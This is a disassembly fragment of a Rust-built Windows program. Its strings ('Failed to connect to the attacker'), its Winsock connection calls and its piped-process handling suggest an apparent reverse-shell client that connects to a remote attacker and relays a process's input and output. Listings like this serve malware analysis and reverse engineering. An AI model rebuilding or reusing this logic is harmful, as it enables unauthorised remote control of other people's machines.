jne 0x140002984
mov rcx, rbx
call sym.core::ptr::drop_in_place_std::io::error::Error_::h3466fc80fe41233f
and qword [r13], 0
jmp 0x140002302
call sub.KERNEL32.dll_GetLastError
mov r13d, eax
shl r13, 0x20
or r13, 2
mov qword [rsp + 0x48], r13
mov rax, r13
movabs rcx, 0xffffffff00000000
and rax, rcx
movabs rcx, 0x6d00000000
cmp rax, rcx
je 0x14000296e
movabs rcx, 0x2600000000
cmp rax, rcx
jne 0x14000230c
mov rcx, rbx
call sym.core::ptr::drop_in_place_std::io::error::Error_::h3466fc80fe41233f
and qword [rsp + 0xd0], 0
jmp 0x14000221b
mov r13, rdx
jmp 0x14000230c
cmp r15, 5
jae 0x140001af4
xor edx, edx
xor eax, eax
movzx r9d, byte [r8 + rdx]
add r9d, 0xffffffd0
cmp r9d, 9
ja 0x140002ccf
imul eax, eax, 0xa
add eax, r9d
inc rdx
cmp r15, rdx
jne 0x14000299a
mov word [rsp + 0xb8], ax
mov eax, dword [0x1400580f0]
cmp eax, 4
jne 0x140002c99
lea r14, [rsp + 0xb8]
mov qword [rsp + 0xd0], r14
cmp rdi, 0x17f
ja 0x140002ca3
lea rbx, [rsp + 0x2b0]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call sym.memcpy
mov byte [rsp + rdi + 0x2b0], 0
lea rax, [rdi + 1]
cmp rdi, 0xe
ja 0x140002b56
xor edx, edx
cmp byte [rsp + rdx + 0x2b0], 0
je 0x140002c06
inc rdx
cmp rax, rdx
jne 0x140002a1d
jmp 0x140002c63
test dl, 1
jne 0x1400018e8
mov rcx, qword [rsp + 0x138]
test rcx, rcx
je 0x1400018e8
mov rdx, qword [rsp + 0x130]
cmp byte [rdx], 0x3a
jne 0x1400018e8
cmp rcx, 1
je 0x1400018e8
add rcx, 0xfffffffffffffffe
mov r8b, byte [rdx + 1]
add rdx, 2
mov qword [rsp + 0x130], rdx
mov qword [rsp + 0x138], rcx
cmp r8b, 0x3a
jne 0x1400018e8
and qword [rsp + 0x4e], 0
and qword [rsp + 0x48], 0
mov r8d, 7
sub r8, rax
jb 0x1400035e8
lea rcx, [rsp + 0x130]
lea rdx, [rsp + 0x48]
call sym.core::net::parser::Parser::read_ipv6_addr::read_groups::h4a1e82ac26664210
mov ecx, 8
sub rcx, rax
jb 0x1400035f9
cmp rax, 8
je 0x14000360a
lea rcx, [rsp + rcx*2]
add rcx, 0x2b0
add rax, rax
lea rdx, [rsp + 0x48]
mov r8, rax
call sym.memcpy
pxor xmm0, xmm0
movdqa xmm1, xmmword [rsp + 0x2b0]
movdqa xmm2, xmm1
punpckhbw xmm2, xmm0
pshuflw xmm2, xmm2, 0xb1
pshufhw xmm2, xmm2, 0xb1
punpcklbw xmm1, xmm0
pshuflw xmm0, xmm1, 0xb1
pshufhw xmm0, xmm0, 0xb1
packuswb xmm0, xmm2
jmp 0x14000184b
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x274a
jne 0x1400035a0
mov rcx, qword [rsp + 0x108]
call sub.WS2_32.dll_closesocket
mov sil, 1
lea rdi, [rsp + 0x210]
jmp 0x140002eaf
lea rcx, [rsp + 0x2b7]
and rcx, 0xfffffffffffffff8
sub rcx, rbx
je 0x140002b8a
xor edx, edx
cmp byte [rsp + rdx + 0x2b0], 0
je 0x140002c06
inc rdx
cmp rcx, rdx
jne 0x140002b69
lea rdx, [rdi - 0xf]
cmp rcx, rdx
jbe 0x140002b8e
jmp 0x140002bd1
lea rdx, [rdi - 0xf]
movdqa xmm0, xmmword [section..rdata]
movabs r8, 0x8080808080808080
movdqu xmm1, xmmword [rsp + rcx + 0x2b0]
movdqa xmm2, xmm1
paddq xmm2, xmm0
pandn xmm1, xmm2
pshufd xmm2, xmm1, 0xee
por xmm2, xmm1
movq r9, xmm2
test r9, r8
jne 0x140002bd1
add rcx, 0x10
cmp rcx, rdx
jbe 0x140002ba0
sub rax, rcx
je 0x140002c63
lea r8, [rsp + rcx]
add r8, 0x2b0
xor edx, edx
cmp byte [r8 + rdx], 0
je 0x140002c03
inc rdx
cmp rax, rdx
jne 0x140002be7
jmp 0x140002c63
xor r9d, r9d
xor r12d, r12d
jmp 0x1400032c5
add rdx, rcx
cmp rdx, rdi
jne 0x140002c63
pxor xmm0, xmm0
lea r8, [rsp + 0x130]
movdqa xmmword [r8], xmm0
movdqa xmmword [r8 + 0x20], xmm0
movdqa xmmword [r8 + 0x10], xmm0
mov dword [r8 + 8], 1
lea r9, [rsp + 0x88]
and qword [r9], 0
lea rcx, [rsp + 0x2b0]
xor edx, edx
call sub.WS2_32.dll_getaddrinfo
test eax, eax
je 0x140002c76
call sub.WS2_32.dll_WSAGetLastError
shl rax, 0x20
or rax, 2
mov edx, 1
jmp 0x140002c92
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsp + 0x50], rax
mov edx, 1
jmp 0x140002cc1
mov rax, qword [rsp + 0x88]
movzx ecx, word [rsp + 0xb8]
mov qword [rsp + 0x58], rax
mov word [rsp + 0x60], cx
xor edx, edx
mov qword [rsp + 0x50], rax
jmp 0x140002cc1
call sym.std::sync::once_lock::OnceLock_T_::initialize::h1080f60b2d887b5e
jmp 0x1400029d2
lea rbx, [rsp + 0x48]
lea r9, [rsp + 0xd0]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call sym.std::sys::pal::common::small_c_string::run_with_cstr_allocating::h91c0074b1fa34e01
mov rdx, qword [rbx]
mov rcx, qword [rsp + 0x50]
test rdx, rdx
je 0x140002faa
mov eax, 1
mov qword [rsp + 0x208], rax
mov qword [rsp + 0x210], rcx
lea rcx, str.Failed_to_connect_to_the_attacker_n
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x140], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x148], xmm0
lea rax, str.stderrlibrary_std_srciomod.rs
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 6
mov al, byte [0x140058040]
test al, al
je 0x140002d96
call sym.std::io::stdio::OUTPUT_CAPTURE::__u7b__u7b_closure_u7d__u7d_::hc3ab095e1b97ed77
test rax, rax
je 0x140002d96
mov rsi, rax
mov rdi, qword [rax]
and qword [rax], 0
test rdi, rdi
je 0x140002d96
lea rbx, [rdi + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi + 0x10], cl
jne 0x14000303c
mov rax, qword [0x1400580d0]
movabs rcx, 0x8000000000000000
dec rcx
mov r12, rcx
test rax, rcx
je 0x140002eed
call sym.std::panicking::panic_count::is_zero_slow_path::h5e79d24df3e627ed
mov r15d, eax
xor r15b, 1
jmp 0x140002ef0
call sym.std::thread::current_id::h6546eaf3d90196fb
mov rsi, rax
mov rax, qword [0x140058088]
cmp rsi, rax
jne 0x140002dbd
mov eax, dword [0x140058090]
cmp eax, 0xffffffff
je 0x1400034b2
inc eax
jmp 0x140002ddb
mov cl, 1
xor eax, eax
lock cmpxchg byte [0x140058094], cl
jne 0x14000302b
mov qword [0x140058088], rsi
mov eax, 1
mov dword [0x140058090], eax
lea rax, [0x140058088]
lea rbx, [rsp + 0xd0]
mov qword [rbx], rax
lea rdi, [rsp + 0x50]
mov qword [rdi - 8], rbx
and qword [rdi], 0
lea rdx, sym._ZN4core3ptr100drop_in_place_LT_std..io..Write..write_fmt..Adapter_LT_std..sys..pal..windows..stdio..Stderr_GT__GT_17h44bacaef
lea rsi, [rsp + 0x48]
lea r8, [rsp + 0x130]
mov rcx, rsi
call sym.core::fmt::write::he8b7e02fe1cc02cc
mov r14, qword [rsp + 0x50]
test al, al
je 0x140002e66
test r14, r14
jne 0x140002e76
lea rax, str.a_formatting_trait_implementation_returned_an_error_when_the_underlying_stream_did_not
lea rcx, [rsp + 0x2b0]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea rdx, [0x14004f1b8]
call sym.core::panicking::panic_fmt::h50bba86df16ca19f
jmp 0x1400035e6
test r14, r14
je 0x140002e73
mov rcx, rdi
call sym.core::ptr::drop_in_place_std::io::error::Error_::h3466fc80fe41233f
xor r14d, r14d
mov rcx, qword [rsp + 0xd0]
dec dword [rcx + 8]
jne 0x140002e9c
mov qword [rcx], 0
xor eax, eax
xchg byte [rcx + 0xc], al
cmp al, 2
jne 0x140002e9c
add rcx, 0xc
call fcn.140045994
test r14, r14
jne 0x140003416
lea rdi, [rsp + 0x210]
xor esi, esi
mov rcx, qword [rsp + 0x298]
mov rdx, qword [rsp + 0x2a0]
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h1881a599daea7783
test sil, sil
jne 0x140002ed1
mov rcx, rdi
call sym.core::ptr::drop_in_place_std::io::error::Error_::he917f1bab103a5c1
movaps xmm6, xmmword [rsp + 0x4d0]
add rsp, 0x4e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor r15d, r15d
mov al, byte [rdi + 0x11]
lea rax, [rdi + 0x18]
lea r14, [rsp + 0x50]
mov qword [r14 - 8], rax
and qword [r14], 0
lea rdx, sym._ZN4core3ptr100drop_in_place_LT_std..io..Write..write_fmt..Adapter_LT_std..sys..pal..windows..stdio..Stderr_GT__GT_17h44bacaef
lea rcx, [rsp + 0x48]
lea r8, [rsp + 0x130]
call sym.core::fmt::write::he8b7e02fe1cc02cc
mov rdx, qword [rsp + 0x50]
test al, al
je 0x140002f41
test rdx, rdx
je 0x140003567
lea rcx, [rsp + 0x2b0]
mov qword [rcx], rdx
call sym.core::ptr::drop_in_place_std::io::error::Error_::h3466fc80fe41233f
jmp 0x140002f57
test rdx, rdx
je 0x140002f4e
mov rcx, r14
call sym.core::ptr::drop_in_place_std::io::error::Error_::h3466fc80fe41233f
and qword [rsp + 0x2b0], 0
test r15b, r15b
je 0x140002f8f
xor eax, eax
xchg byte [rbx], al
cmp al, 2
jne 0x140002f6c
mov rcx, rbx
call fcn.140045994
mov rcx, qword [rsi]
mov qword [rsi], rdi
test rcx, rcx
je 0x140002ea5
lock dec qword [rcx]
jne 0x140002ea5
call sym.alloc::sync::Arc_T_A_::drop_slow::hcef4d9ea6db501ca
jmp 0x140002ea5
mov rax, qword [0x1400580d0]
test rax, r12
je 0x140002f5c
call sym.std::panicking::panic_count::is_zero_slow_path::h5e79d24df3e627ed
test al, al
jne 0x140002f5c
mov byte [rdi + 0x11], 1
jmp 0x140002f5c
lea rdx, [rsp + 0x50]
mov rax, qword [rdx + 8]
movzx r8d, word [rdx + 0x10]
mov r9d, dword [rdx + 0x12]
mov dword [rsp + 0x240], r9d
movzx r10d, word [rdx + 0x16]
mov word [rsp + 0x244], r10w
mov word [rsp + 0xb8], r8w
mov qword [rdx], rcx
mov qword [rdx + 8], rax
mov word [rdx + 0x10], r8w
mov dword [rdx + 0x12], r9d
mov word [rdx + 0x16], r10w
mov qword [rdx - 8], r14
lea rcx, [rsp + 0x2b0]
call sym.__std::sys_common::net::LookupHost_as_core::iter::traits::iterator::Iterator_::next::hb7299b80af10b9f7
movzx esi, word [rsp + 0x2b0]
cmp si, 2
jne 0x140003049
mov rcx, qword [rsp + 0x50]
call sub.WS2_32.dll_freeaddrinfo
mov edi, 4
xor ebp, ebp
mov r13d, 4
jmp 0x1400019d9
lea rcx, [0x140058094]
call sym.std::sys::sync::mutex::futex::Mutex::lock_contended::h248f97d2d4a88c55
jmp 0x140002dcf
mov rcx, rbx
call sym.std::sys::sync::mutex::futex::Mutex::lock_contended::h248f97d2d4a88c55
jmp 0x140002d65
mov ebx, dword [rsp + 0x2b2]
movzx ebp, word [rsp + 0x2b6]
mov eax, dword [rsp + 0x2c8]
mov dword [rsp + 0x140], eax
movdqu xmm0, xmmword [rsp + 0x2b8]
movdqa xmmword [rsp + 0x130], xmm0
movzx r15d, word [rsp + 0x2cc]
movzx r14d, word [rsp + 0x2ce]
mov rax, qword [rsp + 0x48]
movzx r12d, word [rax]
mov al, byte [0x140058030]
mov ecx, pe_nt_image_headers64
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h1ca289f3d44bb24b
test rax, rax
je 0x1400035d7
mov rdi, rax
test si, si
cmovne r15d, r12d
cmove ebp, r12d
lea rcx, [rsp + 0x138]
mov eax, dword [rcx + 8]
mov dword [rdi + 0x18], eax
movaps xmm0, xmmword [rcx - 8]
movups xmmword [rdi + 8], xmm0
mov word [rdi], si
mov dword [rdi + 2], ebx
mov word [rdi + 6], bp
mov word [rdi + 0x1c], r15w
mov word [rdi + 0x1e], r14w
movdqu xmm0, xmmword [rsp + 0x48]
movdqu xmm1, xmmword [rsp + 0x58]
movdqa xmmword [rcx + 8], xmm1
movdqa xmmword [rcx - 8], xmm0
mov r13d, 1
mov r14d, 0x20
xor eax, eax
mov qword [rsp + 0x38], rax
mov ebx, 4
lea rcx, [rsp + 0x2b0]
lea rdx, [rsp + 0x138]
call sym.__std::sys_common::net::LookupHost_as_core::iter::traits::iterator::Iterator_::next::hb7299b80af10b9f7
movzx r12d, word [rsp + 0x2b0]
cmp r12w, 2
je 0x140003282
mov r15d, dword [rsp + 0x2b2]
lea rax, [rsp + 0x2b8]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xd0], xmm0
mov eax, dword [rax + 0x10]
mov dword [rsp + 0xe0], eax
movzx r9d, word [rsp + 0x2ce]
mov rax, qword [rsp + 0x130]
movzx ebp, word [rax]
test r12w, r12w
movzx esi, word [rsp + 0x2b6]
cmove si, bp
cmove bp, word [rsp + 0x2cc]
cmp r13, rbx
jne 0x14000323e
cmp rbx, 0xffffffffffffffff
je 0x14000353b
mov rcx, rbx
inc rbx
lea rax, [rcx + rcx]
cmp rax, rbx
cmova rbx, rax
xor edx, edx
mov rax, rbx
shr rax, 0x3a
sete al
cmp rbx, 5
mov r8d, 4
cmovb rbx, r8
test rcx, rcx
mov qword [rsp + 0x28], rcx
mov word [rsp + 0x30], r9w
je 0x1400031f6
shl rcx, 5
mov qword [rsp + 0x2b0], rdi
mov qword [rsp + 0x2c0], rcx
mov ecx, 4
jmp 0x1400031f8
xor ecx, ecx
mov r8, rbx
shl r8, 5
mov dl, al
shl edx, 2
mov qword [rsp + 0x2b8], rcx
lea rcx, [rsp + 0x88]
lea r9, [rsp + 0x2b0]
call sym.alloc::raw_vec::finish_grow::h1bf62b060934712b
cmp qword [rsp + 0x88], 0
jne 0x140003546
mov rdi, qword [rsp + 0x90]
movzx r9d, word [rsp + 0x30]
mov word [rdi + r14], r12w
mov dword [rdi + r14 + 2], r15d
mov word [rdi + r14 + 6], si
movdqa xmm0, xmmword [rsp + 0xd0]
movdqu xmmword [rdi + r14 + 8], xmm0
mov eax, dword [rsp + 0xe0]
mov dword [rdi + r14 + 0x18], eax
mov word [rdi + r14 + 0x1c], bp
mov word [rdi + r14 + 0x1e], r9w
inc r13
add r14, 0x20
jmp 0x140003112
mov rcx, qword [rsp + 0x138]
call sub.WS2_32.dll_freeaddrinfo
test rdi, rdi
je 0x1400032a3
mov rbp, rbx
shl r13, 5
add r13, rdi
jmp 0x1400019d9
xor ecx, ecx
jmp 0x140002ccf
mov rdi, r14
add rdi, r10
mov r11d, eax
xor r12d, r12d
test r14d, r14d
setne r12b
cmovne r10, rdi
cmovne r9, rbx
cmp r12d, 1
cmove rcx, r9
test rcx, rcx
je 0x1400018e8
test r12d, r12d
mov ebp, r11d
cmove ebp, r12d
cmp r12d, 1
cmove ebp, r11d
cmove r8, r10
mov al, byte [r8]
lea r9, [rcx - 1]
cmp al, 0x5d
jne 0x1400018e8
test r9, r9
je 0x1400018e8
cmp byte [r8 + 1], 0x3a
jne 0x1400018e8
add rcx, 0xfffffffffffffffe
je 0x1400018e8
xor r9d, r9d
mov r10w, 0xa
xor r14d, r14d
movzx r11d, byte [r8 + r9 + 2]
add r11d, 0xffffffd0
cmp r11d, 9
ja 0x14000336c
mov eax, r14d
mul r10w
jo 0x1400018e8
mov edx, eax
add dx, r11w
jb 0x1400018e8
movsx r14d, r11w
add r14d, eax
inc r9
cmp rcx, r9
jne 0x140003324
xor eax, eax
jmp 0x140003375
lea rcx, str._rustc_eeb90cda1969383f56a2637cbd3037bdf598841clibrary_alloc_srccollections_btree_navigate.rs
call sym.core::option::unwrap_failed::h38ae581b954ce070
mov rax, rcx
sub rax, r9
mov ecx, r9d
test ecx, ecx
je 0x1400018e8
xor ecx, ecx
test cl, cl
jne 0x1400018e8
test rax, rax
jne 0x1400018e8
movd ebx, xmm0
pshufd xmm6, xmm0, 0xf9
shl rbx, 8
mov r15w, 1
xor esi, esi
jmp 0x140001979
lea rcx, str._rustc_eeb90cda1969383f56a2637cbd3037bdf598841clibrary_alloc_srccollections_btree_navigate.rs
call sym.core::option::unwrap_failed::h38ae581b954ce070
lea rax, [0x14004b978]
mov edx, 0x200
mov rcx, r8
mov r8, rax
call sym.core::slice::index::slice_end_index_len_fail::hdaa9bbd2fcad4cbb
mov ecx, 1
mov edx, 3
call sym.alloc::raw_vec::handle_error::hd43ffb3afada7951
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x48]
mov rax, qword [rsp + 0x30]
mov qword [r8], rax
lea rax, [0x14004b9b0]
mov qword [rsp + 0x20], rax
lea rcx, [0x14004b995]
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::he917f1bab103a5c1
mov edx, 0x19
call sym.core::result::unwrap_failed::h8f275d6668207d54
mov qword [rsp + 0xd0], r14
lea rax, [rsp + 0x88]
mov qword [rsp + 0x48], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h44538e32a7e44c37]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rbx
lea rax, str.failed_printing_to_:
lea rcx, [rsp + 0x2b0]
mov qword [rcx], rax
mov eax, 2
mov qword [rcx + 8], rax
and qword [rcx + 0x20], 0
lea rdx, [sym.__std::io::error::Error_as_core::fmt::Display_::fmt::hab0355a4f2b8b8d2]
mov qword [rsp + 0x60], rdx
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], rax
lea rdx, str.library_std_srcio_stdio.rs
call sym.core::panicking::panic_fmt::h50bba86df16ca19f
jmp 0x1400035e6
lea r8, [rsp + 0x48]
mov qword [r8], r13
lea rax, [0x14004f698]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h3466fc80fe41233f
mov edx, 0x2b
call sym.core::result::unwrap_failed::h8f275d6668207d54
jmp 0x1400035e6
lea rcx, str.lock_count_overflow_in_reentrant_mutexlibrary_std_src_sync_reentrant_lock.rs
lea r8, [0x14004f488]
mov edx, 0x26
call sym.core::option::expect_failed::h7cac1e3ba6dd990a
lea r8, [rsp + 0x48]
mov qword [r8], rdx
lea rax, [0x14004f680]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h3466fc80fe41233f
mov edx, 0x2b
call sym.core::result::unwrap_failed::h8f275d6668207d54
jmp 0x1400035e6
lea r8, [rsp + 0x48]
mov qword [r8], rdx
lea rax, [0x14004f668]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h3466fc80fe41233f
mov edx, 0x2b
call sym.core::result::unwrap_failed::h8f275d6668207d54
jmp 0x1400035e6
mov ecx, 4
mov edx, 0x20
call sym.alloc::alloc::handle_alloc_error::h526f0ddc898dc940
mov qword [rsp + 0x28], 0xffffffffffffffff
jmp 0x14000355b
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x38], rax
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x38]
call sym.alloc::raw_vec::handle_error::hd43ffb3afada7951
jmp 0x1400035e6
lea rax, str.a_formatting_trait_implementation_returned_an_error_when_the_underlying_stream_did_not
lea rcx, [rsp + 0x2b0]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea rdx, [0x14004f1b8]
call sym.core::panicking::panic_fmt::h50bba86df16ca19f
jmp 0x1400035e6
shl rax, 0x20
or rax, 2
lea r8, [rsp + 0x130]
mov qword [r8], rax
lea rax, [0x14004b960]
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_read_from_streamsrc_main.rs
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::he917f1bab103a5c1
mov edx, 0x1a
call sym.core::result::unwrap_failed::h8f275d6668207d54
mov ecx, 4
mov edx, pe_nt_image_headers64
call sym.alloc::raw_vec::handle_error::hd43ffb3afada7951
ud2
lea rax, str.librarycore_src_netparser.rs
mov edx, 7
jmp 0x1400033c1
lea r8, str.librarycore_src_netparser.rs
mov edx, 8
call sym.core::slice::index::slice_index_order_fail::h786748ba81f41b02
lea r8, str.librarycore_src_netparser.rs
mov ecx, 8
mov edx, 7
call sym.core::slice::index::slice_end_index_len_fail::hdaa9bbd2fcad4cbb
jmp 0x140003772
mov rsi, rax
lea rcx, [rsp + 0x88]
call sym.core::ptr::drop_in_place_std::sys::pal::windows::pipe::AsyncPipe_::h63b380fa1a2e70be
lea rcx, [rsp + 0xd0]
call sym.core::ptr::drop_in_place_std::sys::pal::windows::pipe::AsyncPipe_::h63b380fa1a2e70be
cmp qword [rsp + 0xb8], 0
je 0x1400037ac
mov rcx, qword [rsp + 0xc0]
mov edx, 1
call sym.__rust_dealloc
cmp qword [rsp + 0x118], 0
je 0x1400037c9
mov rcx, qword [rsp + 0x120]
mov edx, 1
call sym.__rust_dealloc
lea rcx, [rsp + 0x240]
call sym.core::ptr::drop_in_place_std::sys::pal::windows::process::StdioPipes_::h89d516a8f23a27d6
mov rcx, qword [rsp + 0x30]
call fcn.140045bec
mov rcx, qword [rsp + 0x28]
call fcn.140045bec
mov rcx, rsi
call sym._Unwind_Resume
call sym.core::panicking::panic_in_cleanup::h928977ae0110d4f9
int3